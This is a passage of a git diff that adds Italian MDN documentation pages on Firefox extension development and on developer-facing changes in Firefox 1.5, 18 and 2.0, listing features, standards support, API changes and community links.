+  - Estensioni
+  - Tutte_le_categorie
+translation_of: Extensions/Community
+---
+<p> </p>
+<p>Liste di discussione, gruppi, forum e link a comunità relative allo <a href="it/Estensioni">sviluppo di estensioni</a> possono essere aggiunte qua.</p>
+<ul>
+ <li><a class="external" href="http://www.xulplanet.com">XULPlanet - documentazione su XUL</a></li>
+ <li><a class="external" href="http://www.xulplanet.com/forum2/">XULPlanet Forum</a></li>
+ <li><a class="external" href="http://forums.mozillazine.org/?c=11">Forum estensioni e temi su MozillaZine</a></li>
+ <li><a class="link-irc" href="irc://moznet/%23extdev">canale #extdev sul network IRC moznet - domande sullo sviluppo di estensioni</a></li>
+ <li><a class="link-irc" href="irc://moznet/%23addons">canale #addons sul network IRC moznet - domande su http://addons.mozilla.org</a></li>
+ <li><a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">lista di discussione dei responsabili dei progetti mozdev</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Extension_development">Documentazione (KB) MozillaZine</a></li>
+ <li><a class="external" href="http://allyourideas.com/index.php?title=Category:Firefox_extension">AllYourIdeas</a> - idee per le estensioni</li>
+ <li><a class="external" href="http://babelzilla.org/">BabelZilla</a> - una comunità per sviluppatori e traduttori di estensioni per le applicazioni Mozilla</li>
+</ul>
+<p>{{ languages( { "en": "en/Extensions/Community", "fr": "fr/Extensions/Communaut\u00e9", "ja": "ja/Extensions/Community", "pl": "pl/Rozszerzenia/Spo\u0142eczno\u015b\u0107" } ) }}</p>
diff --git a/files/it/estensioni/index.html b/files/it/estensioni/index.html
new file mode 100644
index 0000000000..c5c2381e32
--- /dev/null
+++ b/files/it/estensioni/index.html
@@ -0,0 +1,67 @@
+---
+title: Estensioni
+slug: Estensioni
+tags:
+  - Estensioni
+  - Tutte_le_categorie
+translation_of: Mozilla/Add-ons
+---
+<p>
+</p>
+<div class="callout-box"><b><a href="it/Sviluppare_un'Estensione">Sviluppare un'Estensione</a></b><br>
+Una guida passo-passo su come sviluppare un'estensione per Firefox 1.5.</div>
+<div>
+Le <b>Estensioni</b> sono dei piccoli componenti aggiuntivi che apportano nuove funzionalità alle applicazioni di casa Mozilla come Firefox e Thunderbird. Possono aggiungere qualsiasi cosa, da un semplice bottone sulla barra degli strumenti ad una caratteristica completamente nuova. Permettono di personalizzare l'applicazione per soddisfare le esigenze personali di ogni singolo utente qualora necessario, ma anche di mantenere l'applicazione leggera e quindi facile da scaricare.</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione" name="Documentazione"> <a>Documentazione</a> </h4>
+<dl><dt> <a href="it/Domande_frequenti_sulle_Estensioni">Domande frequenti sulle Estensioni</a>
+</dt><dd> <small>Domande e risposte frequenti circa lo sviluppo delle estensioni.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">Organizzare l'ambiente di sviluppo dell'Estensione</a>
+</dt><dd> <small>Alcuni suggerimenti essenziali sull'organizzazione dell'ambiente per facilitare lo sviluppo di un'estensione.</small>
+</dd></dl>
+<dl><dt> <a href="it/Impacchettare_l'Estensione">Impacchettare l'Estensione</a>
+</dt><dd> <small>Come impacchettare la propria estensione di Firefox per il download e l'installazione.</small>
+</dd></dl>
+<dl><dt> <a href="it/Creare_Estensioni_personalizzate_per_Firefox_con_il_sistema_di_sviluppo_di_Mozilla">Creare Estensioni personalizzate per Firefox con il sistema di sviluppo di Mozilla</a>
+</dt><dd> <small>Come organizzare l'ambiente di sviluppo per un'estensione che faccia uso di componenti binari.</small>
+</dd></dl>
+<dl><dt> <a href="it/Adattare_le_applicazioni_XUL_a_Firefox_1.5">Adattare le applicazioni XUL a Firefox 1.5</a>
+</dt><dd> <small>Un elenco dei cambiamenti effettuati su Firefox 1.5 che possono interessare gli sviluppatori di applicazioni <a href="it/XUL">XUL</a>.</small>
+</dd></dl>
+<dl><dt> <a href="it/XPCNativeWrapper">XPCNativeWrapper</a>
+</dt><dd> <small>Limita l'accesso alle proprietà ed ai metodi degli oggetti che imballa, permettendo un accesso sicuro ai metodi dell'oggetto definiti dall'IDL.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Guarda tutti...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Comunit.C3.A0" name="Comunit.C3.A0"> Comunità </h4>
+<ul><li> Gurda i forum su Mozilla...
+</li></ul>
+<p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}
+</p>
+<ul><li> <a class="link-irc" href="irc://moznet/%23extdev">#extdev IRC channel</a>
+</li><li> <a class="external" href="http://forums.mozillazine.org/viewforum.php?f=19">MozillaZine forum</a>
+</li><li> <a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">mozdev project owners</a>
+</li><li> <a href="it/Estensioni/Comunit%c3%a0">Altri link della comunità...</a>
+</li></ul>
+<h4 id="Tools" name="Tools"> Tools </h4>
+<ul><li> <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a>
+</li><li> <a href="it/DOM_Inspector">DOM Inspector</a>
+</li><li> <a href="it/Venkman">Venkman</a>, il debugger per JavaScript
+</li><li> <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a>
+</li></ul>
+<p><span class="alllinks"><a>Guarda tutti...</a></span>
+</p>
+<h4 id="Related_Topics" name="Related_Topics"> Related Topics </h4>
+<dl><dd> <a href="it/XUL">XUL</a>, <a href="it/JavaScript">JavaScript</a>, <a href="it/XPCOM">XPCOM</a>, <a href="it/Temi">Temi</a>, <a href="it/Plug-in">Plug-in</a>, <a href="it/Sviluppare_Mozilla">Sviluppare Mozilla</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/Extensions", "fr": "fr/Extensions", "es": "es/Extensiones", "pl": "pl/Rozszerzenia", "pt": "pt/Extens\u00f5es", "ja": "ja/Extensions" } ) }}
diff --git a/files/it/firefox_1.5_per_sviluppatori/index.html b/files/it/firefox_1.5_per_sviluppatori/index.html
new file mode 100644
index 0000000000..6c47af6552
--- /dev/null
+++ b/files/it/firefox_1.5_per_sviluppatori/index.html
@@ -0,0 +1,165 @@
+---
+title: Firefox 1.5 per Sviluppatori
+slug: Firefox_1.5_per_Sviluppatori
+tags:
+  - Da_unire
+  - Sviluppo_Web
+  - Tutte_le_categorie
+translation_of: Mozilla/Firefox/Releases/1.5
+---
+<div>{{FirefoxSidebar}}</div><h2 id="Firefox_1.5">Firefox 1.5</h2>
+
+<p>Firefox 1.5 è stato rilasciato ed è disponibile <strong><a class="external" href="http://www.mozilla.com/firefox/">per il download</a></strong>. Basato sul motore <a href="it/Gecko">Gecko</a> 1.8, questa ultima versione del browser migliora il supporto agli standard e fornisce nuove possibilità per implementare applicazioni web di ultima generazione. Le funzionalità di Firefox 1.5 comprendono un supporto più esteso ai <a href="it/CSS">CSS</a> livello 2 e 3, API per applicazioni grafiche vettoriali 2D tramite <a href="it/SVG">SVG</a> 1.1 e l'elemento <code>&lt;canvas&gt;</code>, eventi <a href="it/XForms">XForms</a> e <a href="it/XML">XML</a>, oltre a miglioramenti per <a href="it/DHTML">DHTML</a>, <a href="it/JavaScript">JavaScript</a> e <a href="it/DOM">DOM</a>.</p>
+
+<p><strong>Firefox 1.5</strong> è disponibile per il download a questo indirizzo: <a class="external" href="http://www.mozilla.com/firefox/" rel="freelink">http://www.mozilla.com/firefox/</a></p>
+
+<h3 id="Strumenti_di_sviluppo" name="Strumenti_di_sviluppo">Strumenti di sviluppo</h3>
+
+<p>Esistono diversi strumenti ed estensioni che possono essere d'aiuto agli sviluppatori per supportare Firefox 1.5.</p>
+
+<ul>
+ <li><a href="it/DOM_Inspector">DOM Inspector</a>, uno strumento che permette agli sviluppatori di esaminare e modificare i documenti senza dover agire direttamente sul documento. Questa estensione è disponibile come opzione nell'installazione personalizzata di Firefox 1.5.</li>
+ <li>JavaScript console, uno strumento per scrivere e testare codice JavaScript e CSS.</li>
+ <li>View page source, che comprende la sintassi evidenziata e una funzionalità di ricerca.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/extensions/showlist.php?application=firefox&amp;category=Developer%20Tools">Browser extensions</a>, <a class="external" href="http://www.joehewitt.com/software/firebug/">Firebug</a>, <a href="it/Web_Developer_Extension_(external)">Web Developer toolbar</a>, <a href="it/Live_HTTP_Headers_(external)">Live HTTP Headers</a>, <a href="it/HTML_Validator_(external)">HTML Validator</a> e molti altri.</li>
+</ul>
+
+<p><strong>Nota:</strong> alcune estensioni potrebbero non supportare ancora Firefox 1.5 e potrebbero essere automaticamente disabilitate.</p>
+
+<p><strong>Nota:</strong> non tutte le estensioni hanno una traduzione in italiano.</p>
+
+<h3 id="Panoramica" name="Panoramica">Panoramica</h3>
+
+<p>Alcune nuove funzionalità di Firefox 1.5.</p>
+
+<h4 id="Sviluppatori_di_siti_e_applicazioni_web" name="Sviluppatori_di_siti_e_applicazioni_web">Sviluppatori di siti e applicazioni web</h4>
+
+<dl>
+ <dt><a href="it/Introduzione_a_SVG_in_HTML">Introduzione a SVG in HTML</a></dt>
+ <dd>impara a utilizzare JavaScript e i CSS per manipolare le immagini nello stesso modo in cui manipoleresti un normale documento XHTML. Vedi anche <a href="it/SVG_in_Firefox_1.5">SVG in Firefox 1.5</a> per conoscere lo stato e i problemi conosciuti dell'implementazione di SVG in Firefox 1.5.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Disegnare_grafici_con_le_Canvas">Disegnare grafici con le Canvas</a></dt>
+ <dd>come utilizzare il nuovo tag <code>&lt;canvas&gt;</code> per disegnare grafici e altri oggetti.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Le_colonne_CSS3">Le colonne CSS3</a></dt>
+ <dd>Il supporto per il testo multicolonna introdotto da CSS3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Usare_la_cache_di_Firefox_1.5">Usare la cache di Firefox 1.5</a></dt>
+ <dd>Come <code>bfcache</code> velocizza la navigazione coi tasti Indietro e Avanti</dd>
+</dl>
+
+<h4 id="Sviluppatori_XUL_e_sviluppatori_di_estensioni" name="Sviluppatori_XUL_e_sviluppatori_di_estensioni">Sviluppatori XUL e sviluppatori di estensioni</h4>
+
+<dl>
+ <dt><a href="it/Creare_un'estensione">Creare un'estensione</a></dt>
+ <dd>Questo tutorial spiega tutti i passi necessari per creare una semplicissima estensione per Firefox. Si veda anche <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">another tutorial on MozillaZine knowledge base</a> (EN), che illustra le nuove funzionalità dell'Extension Manager nell'1.5 e spiega come creare una nuova estensione ancora più facile.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/XPCNativeWrapper">XPCNativeWrapper</a></dt>
+ <dd><code>XPCNativeWrapper</code> è un modo per far sì che un oggetto sia accessibile in maniera sicura dal DOM. Si può utilizzare in tutte le versioni di Firefox, sebbene il suo comportamento sia leggermente cambiato in Firefox 1.5.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Sistema_di_Preferenze">Sistema di Preferenze</a></dt>
+ <dd>Illustra i nuovi widget che permettono di creare finestre di opzioni in maniera molto semplice e utilizzando poco codice JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Caratteri_internazionali_nel_JavaScript_di_XUL">Caratteri internazionali nel JavaScript di XUL</a></dt>
+ <dd>i file JavaScript delle applicazioni XUL ora possono contenere caratteri non ASCII.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Cambiementi_nell'API_di_Tree">Cambiementi nell'API di Tree</a></dt>
+ <dd>Le interfacce per accedere all'elemento XUL <code>&lt;tree&gt;</code> sono cambiate.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Modifiche_a_XUL_in_Firefox_1.5">Modifiche a XUL in Firefox 1.5</a></dt>
+ <dd>Un sommario dei cambiamenti di XUL. Si veda anche <a href="it/Adattare_le_applicazioni_XUL_per_Firefox_1.5">Adattare le applicazioni XUL per Firefox 1.5</a>.</dd>
+</dl>
+
+<dl>
+ <dt>Modifiche relative al networking</dt>
+ <dd> </dd>
+</dl>
+
+<ul>
+ <li>Certificate prompts can now be overridden on a per-channel basis. This works by setting an interface requestor as an <a href="it/NsIChannel">nsIChannel</a>'s notificationCallbacks and giving out an interface for <a href="it/NsIBadCertListener">nsIBadCertListener</a>.</li>
+ <li>nsIWebBrowserPersist's listeners can now implement <a href="it/NsIInterfaceRequestor">nsIInterfaceRequestor</a>::GetInterface and will get an opportunity to provide all interfaces that channels might ask for, including <a href="it/NsIProgressEventSink">nsIProgressEventSink</a> (not too useful, redundant with <a href="it/NsIWebProgressListener">nsIWebProgressListener</a>). Useful interfaces here include <a href="it/NsIChannelEventSink">nsIChannelEventSink</a> and <a href="it/NsIBadCertListener">nsIBadCertListener</a>.</li>
+ <li>Extensions or other necko consumers, including XMLHttpRequest, can set a Cookie header explicitly, and necko will not replace it. Stored cookies will be merged with the explicitly set header, in a way that the explicit header will override the stored cookies</li>
+</ul>
+
+<h3 id="Nuove_funzionalit.C3.A0_per_gli_utenti_finali" name="Nuove_funzionalit.C3.A0_per_gli_utenti_finali">Nuove funzionalità per gli utenti finali</h3>
+
+<h4 id="Esperienza_utente" name="Esperienza_utente">Esperienza utente</h4>
+
+<ul>
+ <li><strong>Navigazione più veloce</strong> con miglioramenti alle performance dei bottoni Avanti e Indietro.</li>
+ <li><strong>Possibilità di riordinare le schede col drag and drop</strong></li>
+ <li><strong>Answers.com</strong> è stato aggiunto alla lista dei motori di ricerca</li>
+ <li><strong>Miglioramenti nell'usabilità</strong>, comprese pagine di errore più chiare, un menu di opzioni riprogettato, la rilevazione automatica di RSS e il "Safe Mode".</li>
+ <li><strong>Migliorata l'accessibilità</strong>, anche in DHTML.</li>
+ <li><strong>Sito non funzionante</strong> - una funzionalità per segnalare agli sviluppatori di Firefox i siti che non vengono visualizzati correttamente.</li>
+ <li><strong>Migliorato il supporto per MacOS X</strong> (10.2 e successivi), compresa l'importazione dei profili da Safari e Mac Internet Explorer.</li>
+</ul>
+
+<h4 id="Sicurezza_e_Privacy" name="Sicurezza_e_Privacy">Sicurezza e Privacy</h4>
+
+<ul>
+ <li><strong>Aggiornamenti automatici</strong> in linea. Quando un aggiornamento è disponibile viene notificato in maniera più visibile e gli update ora possono essere di mezzo megabyte o anche più piccoli. Anche l'aggiornamento delle estensioni è stato migliorato.</li>
+ <li><strong>Miglioramenti al blocco dei popup</strong>.</li>
+ <li><strong>Elimina i dati personali</strong> - selezionando questa voce nel menu Strumenti o premendo Canc+Ctrl+Maiusc, vengono eliminati tutti i dati personali.</li>
+</ul>
+
+<h4 id="Supporto_agli_standard" name="Supporto_agli_standard">Supporto agli standard</h4>
+
+<p>Firefox offre un supporto coerente multipiattaforma per i seguenti standard del web:</p>
+
+<ul>
+ <li>Hypertext Markup Language (<a href="it/HTML">HTML</a>) e Extensible Hypertext Markup Language (<a href="it/XHTML">XHTML</a>): <a class="external" href="http://www.w3.org/TR/html401/">HTML 4.01</a> e <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0/1.1</a></li>
+ <li>Cascading Style Sheets (<a href="it/CSS">CSS</a>): <a class="external" href="http://www.w3.org/TR/REC-CSS1">CSS Level 1</a>, <a class="external" href="http://www.w3.org/TR/REC-CSS2">CSS Level 2</a> e parti di <a class="external" href="http://www.w3.org/Style/CSS/current-work.html">CSS Level 3</a></li>
+ <li>Document Object Model (<a href="it/DOM">DOM</a>): <a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/">DOM Level 1</a>, <a class="external" href="http://www.w3.org/DOM/DOMTR#dom2">DOM Level 2</a> e parti di <a class="external" href="http://www.w3.org/DOM/DOMTR#dom3">DOM Level 3</a></li>
+ <li>Mathematical Markup Language: <a class="external" href="http://www.w3.org/Math/">MathML Version 2.0</a></li>
+ <li>Extensible Markup Language (<a href="it/XML">XML</a>): <a class="external" href="http://www.w3.org/TR/REC-xml">XML 1.0</a>, <a class="external" href="http://www.w3.org/TR/REC-xml-names/">Namespaces in XML</a>, <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Associating Style Sheets with XML Documents 1.0</a>, <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">Fragment Identifier for XML</a></li>
+ <li>XSL Transformations (<a href="it/XSLT">XSLT</a>): <a class="external" href="http://www.w3.org/TR/xslt">XSLT 1.0</a></li>
+ <li>XML Path Language (<a href="it/XPath">XPath</a>): <a class="external" href="http://www.w3.org/TR/xpath">XPath 1.0</a></li>
+ <li>Resource Description Framework (<a href="it/RDF">RDF</a>): <a class="external" href="http://www.w3.org/RDF/">RDF</a></li>
+ <li>Simple Object Access Protocol (SOAP): <a class="external" href="http://www.w3.org/TR/SOAP/">SOAP 1.1</a></li>
+ <li><a href="it/JavaScript">JavaScript</a> 1.6, basato su <a href="it/ECMA-262">ECMA-262</a>, revision 3: <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a></li>
+</ul>
+
+<p>Firefox 1.5 supporta anche:</p>
+
+<ul>
+ <li>HTTP, FTP, SSL, TLS e altri protocolli per il trasporto dei dati.</li>
+ <li>La codifica Unicode.</li>
+ <li>GIF, JPEG, PNG, SVG e altri formati per le immagini</li>
+ <li>JavaScript 1.6 (si veda <a href="it/Novit%c3%a0_in_JavaScript_1.6">Novità in JavaScript 1.6</a>)</li>
+</ul>
+
+<h3 id="Cambiamenti_da_Firefox_1.0" name="Cambiamenti_da_Firefox_1.0">Cambiamenti da Firefox 1.0</h3>
+
+<p>Sono stati introdotti diversi cambiamenti in Firefox dalla sua prima release il 9 novembre 2004. Questo browser ha visto molti progressi, molte nuove funzionalità e sono stati corretti molti bug. Le<em>release notes</em> sono un'eccellente fonte di informazioni sulle modifiche che sono state apportate:</p>
+
+<ul>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5-comprehensive.html">What's new in Firefox 1.5 (comprehensive)</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc3.html">What's new in Firefox 1.5 RC 3</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc2.html">What's new in Firefox 1.5 RC 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc1.html">What's new in Firefox 1.5 RC 1</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5b2.html">What's new in Firefox 1.5 Beta 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5b1.html">What's new in Firefox 1.5 Beta 1</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5a2.html">What's new in Deer Park Alpha 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5a1.html">What's new in Deer Park Alpha 1</a></li>
+</ul>
+
+<p><strong>Nota:</strong> le note di rilascio qui linkate sono tutte in inglese.</p>
+
+<p>{{ languages( { "en": "en/Firefox_1.5_for_Developers", "es": "es/Firefox_1.5_para_Desarrolladores", "fr": "fr/Firefox_1.5_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_1.5_for_Developers", "nl": "nl/Firefox_1.5_voor_ontwikkelaars", "pl": "pl/Firefox_1.5_dla_programist\u00f3w", "pt": "pt/Firefox_1.5_para_Desenvolvedores" } ) }}</p>
diff --git a/files/it/firefox_18_for_developers/index.html b/files/it/firefox_18_for_developers/index.html
new file mode 100644
index 0000000000..41af59d3c9
--- /dev/null
+++ b/files/it/firefox_18_for_developers/index.html
@@ -0,0 +1,109 @@
+---
+title: Firefox 18 per sviluppatori
+slug: Firefox_18_for_developers
+tags:
+  - Firefox
+  - Firefox 18
+translation_of: Mozilla/Firefox/Releases/18
+---
+<div>{{FirefoxSidebar}}</div><p>{{ draft() }}</p>
+
+<p><span id="result_box" lang="it"><span class="hps">Firefox</span> <span class="hps">18 è stato</span> <span class="hps">pubblicato</span> <span class="hps">l'8 gennaio</span> <span class="hps">2013.</span> <span class="hps">In questo articolo</span> <span class="hps">sono elencate</span> <span class="hps">le modifiche</span> <span class="hps">principali</span> <span class="hps">che sono utili</span> <span class="hps">non solo</span> <span class="hps">per gli sviluppatori web</span><span>,</span> <span class="hps">ma anche</span> <span class="hps">gli sviluppatori</span> <span class="hps">di Firefox</span> <span class="hps">e Gecko</span> <span class="hps">così come</span> <span class="hps">add-on</span> <span class="hps">per gli sviluppatori.</span><br>
+ <br>
+ <span class="hps">Vuoi aiutare</span> la <span class="hps">documentazione di</span> <span class="hps">Firefox</span> <span class="hps">18? </span></span><a class="external" href="http://beta.elchi3.de/doctracker/#list=fx&amp;version=18.0">lista dei bug su cui bisogna scrivere</a><span id="result_box" lang="it"> <span class="hps">(Vedi l'elenco dei</span> <span class="hps">bug )</span></span></p>
+
+<h2 id="Modifiche_per_gli_sviluppatori_Web">Modifiche per gli sviluppatori Web</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>L' attributo {{htmlattrxref("reversed","ol")}} dell' elemento  {{HTMLElement("ol")}} è ora supportato ({{bug("601912")}}).</li>
+ <li>L' attributo {{htmlattrxref("crossorigin","link")}} dell' elemento {{HTMLElement("link")}} è ora supportato ({{bug("786564")}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>Il {{cssxref("min-width")}} e {{cssxref("min-height")}} adesso utilizza la keyword <code>auto</code> come <em>valore iniziale </em>(Questo ha effetto solo sugli elementi  contratti quando si risolve a <code>0</code>, il precedente valore iniziale, per gli altri elementi). ({{bug("763689")}})</li>
+ <li>Il cascade è stato aggiornato: adesso l'autore delle regole <code>!important</code> non tiene conto delle <a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">animazioni CSS</a>. ({{bug("783714")}})</li>
+ <li>La proprietà stenografica {{cssxref("background")}} adesso riconosce la proprietà CSS3 {{cssxref("background-size")}} specificata all'interno. ({{bug("570326")}})</li>
+ <li>Il supporto iniziale per il Modulo CSS Flexbox è stato soppiantato. E' disabilito di default ma può essere abilitato settando <code>layout.css.flexbox.enabled</code> a true. ({{bug('666041')}})</li>
+</ul>
+
+<h3 id="DOM"> DOM</h3>
+
+<ul>
+ <li><code>navigator.mozPay</code> è stato soppiantato. ({{bug("767818")}})</li>
+ <li><code>window.devicePixelRatio</code> è stato soppiantato. ({{bug("564815")}})</li>
+ <li>The MacOS X backend for <code>window.navigator.battery</code> è stato implementato. ({{bug("696045")}})</li>
+ <li>{{domxref("BlobBuilder", "MozBlobBuilder")}} è rimosso. Gli sviluppatori necessitano di usare il costrutto {{domxref("Blob")}} per creare un oggetto<code> Blob</code>. ({{bug("744907")}})</li>
+ <li>L'evento {{event("visibilitychange")}} e la <a href="/en-US/docs/DOM/Using_the_Page_Visibility_API" title="/en-US/docs/DOM/Using_the_Page_Visibility_API">Pagina di Visibilità API</a> sono stati privati di prefisso ({{bug("812086")}}).</li>
+ <li><code>TextDecoder</code> e <code>TextEncoder</code> sono state aggiunte. ({{bug("764234")}})</li>
+ <li><code>HTMLMediaElement</code><code>.src</code> è stata divisa in due proprietà: la prorietà standard <code>src</code>, affiancata da {{domxref("DOMString")}}, e la proprietà con prefisso <code>mozSrcObject</code>, affiancata dai <a href="/en-US/docs/WebRTC/MediaStream_API" title="/en-US/docs/WebRTC/MediaStream_API">flussi media</a> ({{bug("792665")}}).</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>I <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Proxy">Direct Proxies </a>dell'Harmony (ECMAScript 6) sono stati soppiantati ({{bug("703537")}}). Avvertenza: l'implementatione contiene un paio di bug riconosciuti, mancate funzionalità e disallineamenti con l'attuale stato della spec. Non fate affidamento per la creazione di codice.</li>
+ <li>Il metodo ECMAScript 6 <code>contains()</code> adesso è implementato sulle stringhe.  Questo sfortunatamente non è compatibile con Mootools 1.2, che si aspetta un comportamento differente da <code>contains()</code> sulle stringhe ma non ve lo assicuro.  Le nuove versioni di Mootools risolvono questo problema; i siti sites dovrebbero fare un upgrade alle loro versioni di Mootools verso versione più recenti della 1.2.</li>
+</ul>
+
+<h3 id="WebGL">WebGL</h3>
+
+<h3 id="SVG">SVG</h3>
+
+<h3 id="MathML">MathML</h3>
+
+<h3 id="XUL">XUL</h3>
+
+<h3 id="Network">Network</h3>
+
+<ul>
+ <li>I fattori di qualità ("q-values") adesso sono bloccati a due cifre nell'intestazione HTTP <code>Accept-Language</code> ({{bug("672448")}}).</li>
+ <li>La sintassi <code>ALLOW-FROM</code> dell'intestazione <a href="/en-US/docs/The_X-FRAME-OPTIONS_response_header" title="/en-US/docs/The_X-FRAME-OPTIONS_response_header"><code>X-FRAME-OPTIONS</code></a> HTTP di risposta adesso è supportata ({{bug("690168")}}).</li>
+</ul>
+
+<h3 id="Strumenti_di_sviluppo">Strumenti di sviluppo</h3>
+
+<h2 id="Novità_per_add-on_e_sviluppatori_Mozilla">Novità per add-on e sviluppatori Mozilla</h2>
+
+<h3 id="Novità_dell'Interfaccia">Novità dell'Interfaccia</h3>
+
+<dl>
+ <dt>{{ interface("nsIStreamListener") }}</dt>
+ <dd>The 4th parameter (aOffset) of <code>onDataAvailable()</code> method changes to unsigned long long. ({{bug("784912")}})</dd>
+ <dt>{{ interface("nsIUploadChannel") }}</dt>
+ <dd><code>setUploadStream()</code> supports over 2GB content-length ({{bug("790617")}})</dd>
+ <dt>{{ interface("nsIEditor") }}</dt>
+ <dd><code>addEditorObserver()</code> has been removed, use <code>setEditorObserver()</code> instead, <code>removeEditorObserver()</code> no longer takes a {{ interface("nsIEditorObserver") }} parameter ({{bug("785091")}})</dd>
+</dl>
+
+<dl>
+ <dt>{{ interface("nsIHttpProtocolHandler") }}</dt>
+ <dd><code>http-on-modify-request</code> observers are no longer guaranteed to be called synchronously during<br>
+ <code>nsIChannel.asyncOpen(). </code>For observers that need to be called during <code>asyncOpen</code>(), the new <code>http-on-opening-request</code> observer topic has been added.  <code>See</code> ({{bug("800799")}})</dd>
+</dl>
+
+<h4 id="New_interfaces">New interfaces</h4>
+
+<h4 id="Removed_interfaces">Removed interfaces</h4>
+
+<p>The following interfaces have been removed.</p>
+
+<ul>
+ <li>{{ interface("nsIEditorObserver") }}</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.mozilla.org/en-US/firefox/18.0beta/releasenotes/">Firefox 18 Beta Release Notes</a></li>
+ <li><a href="https://hacks.mozilla.org/2012/10/aurora-18-hidpi-touch-events/">Aurora 18: HiDPI &amp; Touch Events</a> (Mozilla Hacks)</li>
+ <li><a href="/en-US/docs/Site_Compatibility_for_Firefox_18">Site Compatibility for Firefox 18</a></li>
+ <li><a href="https://blog.mozilla.org/addons/2012/12/28/compatibility-for-firefox-18/">Add-on Compatibility for Firefox 18</a> (Add-ons Blog)</li>
+</ul>
+
+<h3 id="Older_versions">Older versions</h3>
+
+<p>{{Firefox_for_developers('17')}}</p>
diff --git a/files/it/firefox_2.0_per_sviluppatori/index.html b/files/it/firefox_2.0_per_sviluppatori/index.html
new file mode 100644
index 0000000000..4f8d46f2cf
--- /dev/null
+++ b/files/it/firefox_2.0_per_sviluppatori/index.html
@@ -0,0 +1,117 @@
+---
+title: Firefox 2.0 per Sviluppatori
+slug: Firefox_2.0_per_Sviluppatori
+tags:
+  - Sviluppo_Web
+  - Tutte_le_categorie
+translation_of: Mozilla/Firefox/Releases/2
+---
+<div>{{FirefoxSidebar}}</div><h2 id="Nuove_funzionalit.C3.A0_per_sviluppatori_in_Firefox_2" name="Nuove_funzionalit.C3.A0_per_sviluppatori_in_Firefox_2">Nuove funzionalità per sviluppatori in Firefox 2</h2>
+
+<p>Firefox 2 introduce una vasta gamma di nuove funzionalità. Questo articolo fornisce i link alle rispettive pagine.</p>
+
+<h3 id="Per_gli_sviluppatori_di_siti_web_e_di_applicazioni" name="Per_gli_sviluppatori_di_siti_web_e_di_applicazioni">Per gli sviluppatori di siti web e di applicazioni</h3>
+
+<dl>
+ <dt><a class="external" href="http://wiki.mozilla.org/Microsummaries">Microsummaries</a> (EN)</dt>
+ <dd>I microsommari sono informazioni importanti regolarmente aggiornate e succinte riguardo alle pagine web. Sia un sito che degli sviluppatori esterni possono fornirle e gli utenti possono scegliere di visualizzare i microsommari invece dei titoli statici nei bookmark.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Creare_un_Microsommario">Creare un Microsommario</a></dt>
+ <dd>Un tutorial che insegna a creare un generatore di microsommari.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Creare_Plugin_MozSearch">Creare Plugin MozSearch</a></dt>
+ <dd>Firefox 2 supporta MozSearch, un formato per i plugin di ricerca basato su OpenSearch.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Supportare_i_suggerimenti_nei_plugin_di_ricerca">Supportare i suggerimenti nei plugin di ricerca</a></dt>
+ <dd>Come permettere ai plugin in MozSearch di supportare i suggerimenti di ricerca, che appaiono in una casella popup mentre di scrive nella barra di ricerca.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Novit%c3%a0_in_JavaScript_1.7">Novità in JavaScript 1.7</a></dt>
+ <dd>Firefox 2 supporta JavaScript 1.7, che comprende nuove funzionalità come <code>let</code>, assegnamento destrutturato, generatori e iteratori.</dd>
+</dl>
+
+<dl>
+ <dt><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#scs-client-side">WHATWG Client-side session and persistent storage</a> (EN)</dt>
